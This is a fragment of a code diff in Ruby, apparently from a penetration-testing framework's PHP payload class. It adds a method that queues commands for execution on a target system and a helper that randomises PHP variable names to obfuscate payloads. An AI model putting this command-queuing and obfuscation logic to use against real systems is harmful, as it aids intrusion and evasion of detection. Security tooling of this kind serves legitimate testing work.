# Enqueue a command to be executed on the target system, if the
|
|
114
|
+
# payload supports queued commands.
|
|
115
|
+
# @param cmd [String] the command to execute when the payload is executed.
|
|
116
|
+
def enqueue_command(cmd)
|
|
117
|
+
queued_commands.push(cmd)
|
|
118
|
+
end
|
|
119
|
+
|
|
120
|
+
# @return the payload in its raw format.
|
|
121
|
+
attr_accessor :raw
|
|
122
|
+
|
|
123
|
+
# @return [Array] the commands queued to be executed on the target.
|
|
124
|
+
attr_accessor :queued_commands
|
|
125
|
+
|
|
126
|
+
private
|
|
127
|
+
|
|
128
|
+
def _raw_payload_with_random_var_names
|
|
129
|
+
payload = +"#{php_preamble} #{raw}"
|
|
130
|
+
vars = generate_vars(obfuscated_variables)
|
|
131
|
+
obfuscated_variables.each { |v| payload.gsub!("$#{v}", "$#{vars[v]}") }
|
|
132
|
+
payload
|
|
133
|
+
end
|
|
134
|
+
end
|
|
135
|
+
end
|